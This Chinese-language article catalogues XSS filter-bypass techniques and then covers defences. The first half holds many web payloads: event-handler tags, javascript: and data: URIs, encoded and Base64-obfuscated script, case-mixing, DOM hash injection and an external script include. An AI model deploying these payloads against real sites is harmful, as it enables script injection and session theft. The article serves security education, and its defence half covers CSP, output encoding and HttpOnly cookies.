XSS绕过方法大全及防范措施

13

一、XSS绕过方法大全

1. 基础绕过

  • 标签与事件属性注入

    <img src=x onerror=alert(1)>  
    <svg/onload=alert(1)>  
    <input onfocus="alert(1)" autofocus>

    运行 HTML

    • 利用非闭合标签(如 <script)、事件属性(onerror, onload, onfocus)或HTML5标签(如 <details ontoggle>)。

  • 协议与伪协议绕过

    <a href="javascript:alert(1)">Click</a>  
    <iframe src="data:text/html,<script>alert(1)</script>">

    运行 HTML

    • 使用 javascript: 伪协议或 data: URI 注入脚本。

  • 字符编码绕过

    • HTML实体编码<script><script>

    • Unicode/Hex编码alert(1)\u0061lert(1)\x61lert(1)

    • URL编码javascript:alert(1)%6A%61%76%61%73%63%72%69%70%74%3A%61%6C%65%72%74%28%31%29

  • 空格与符号替换

    <img/src=x%0Aonerror=alert(1)>  <!-- 换行符代替空格 -->
    <script>alert`1`</script>        <!-- 反引号代替括号 -->

    运行 HTML

2. 黑名单过滤绕过

  • 大小写混合与双写

    <ScRiPt>alert(1)</ScRiPt>  
    <scr<script>ipt>alert(1)</scr</script>ipt>

    运行 HTML

    • 通过干扰字符分割关键字(如双写 <scr<script>ipt>)。

  • 注释符插入

    <scr<!--test-->ipt>alert(1)</script>

    运行 HTML

    • 注释符(<!-- -->)破坏过滤逻辑。

  • 函数调用变形

    window['al'+'ert'](1)      // 字符串拼接
    top.alert(1)               // 通过顶层对象调用
    eval("al"+"ert(1)")        // 动态执行拼接代码

3. 编码与混淆技术

  • 多层编码组合

    <a href="javascript:%61%6c%65%72%74%28%31%29">Click</a>  <!-- URL编码 -->
    <svg/onload=eval("\u0061\u006c\u0065\u0072\u0074(1)")>   <!-- Unicode编码 -->

    运行 HTML

    • 混合HTML实体、URL、Unicode编码绕过检测。

  • Base64与动态加载

    <script>eval(atob('YWxlcnQoMSk='))</script>  <!-- Base64解码执行 -->
    <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">

    运行 HTML

4. WAF/防火墙绕过

  • 分块传输与超长参数

    • 分块传输编码(Chunked Encoding)绕过正则匹配;构造超长参数触发WAF缓存限制。

  • 混淆与非常规语法

    <img/src=x%0Donerror=alert(1)>  <!-- 回车符绕过 -->
    <script>throw '=alert\x281\x29';</script>  <!-- 异常处理执行代码 -->

    运行 HTML

5. DOM型XSS绕过

  • URL片段注入

    https://example.com#<img src=x onerror=alert(1)>
    • 利用 location.hashdocument.referrer 注入。

  • DOM操作滥用

    document.write('<script>alert(1)</script>');
    element.innerHTML = userInput;  // 直接插入未编码内容

6. 高级技巧

  • HTML5标签与属性

    <details open ontoggle=alert(1)>  
    <video><source onerror=alert(1)>

    运行 HTML

    • 利用 <details>, <video> 等新标签的事件属性。

  • CSS表达式与短域名

    <div style="width: expression(alert(1))">  <!-- IE兼容性下执行 -->
    <script src=//aa.es>  <!-- 短域名绕过长度限制 -->

    运行 HTML


二、XSS防范措施

1. 输入处理

  • 白名单过滤
    仅允许特定格式的输入(如仅数字、字母)。

  • 标准化与解码
    对输入进行URL解码、Unicode转义,防止多重编码绕过。

2. 输出编码

  • 上下文敏感编码

    • HTML:将 < 转为 <> 转为 >

    • JavaScript:使用 \uXXXX 转义或 JSON.stringify()

    • URL:使用 encodeURIComponent()

3. 内容安全策略(CSP)

  • 限制资源加载

    Content-Security-Policy: script-src 'self'; object-src 'none';
    • 禁用内联脚本('unsafe-inline'),仅允许可信域名。

  • Nonce/Hash机制
    仅允许携带特定Nonce或Hash值的脚本执行。

4. 安全开发实践

  • 避免危险API
    禁用 innerHTMLdocument.write(),改用 textContentcreateElement

  • 框架与库防护
    使用React、Vue等框架的自动编码功能,避免直接操作DOM。

5. 增强会话安全

  • HttpOnly与Secure Cookie

    Set-Cookie: sessionId=abc123; HttpOnly; Secure
    • 防止JavaScript窃取Cookie。

6. 综合防护

  • WAF部署
    使用Web应用防火墙(如快快网络WAF)拦截攻击特征,支持输入验证、行为分析等功能。

  • 定期渗透测试
    通过工具(如Burp Suite、XSStrike)检测漏洞,修复潜在风险。


三、总结

XSS攻击手法持续演进,防御需采取 纵深防护策略

  1. 输入输出双保险:严格验证输入,按上下文编码输出。

  2. CSP与安全头:限制资源加载,阻断非法脚本执行。

  3. 框架与工具链:利用现代框架的防护能力,避免低级错误。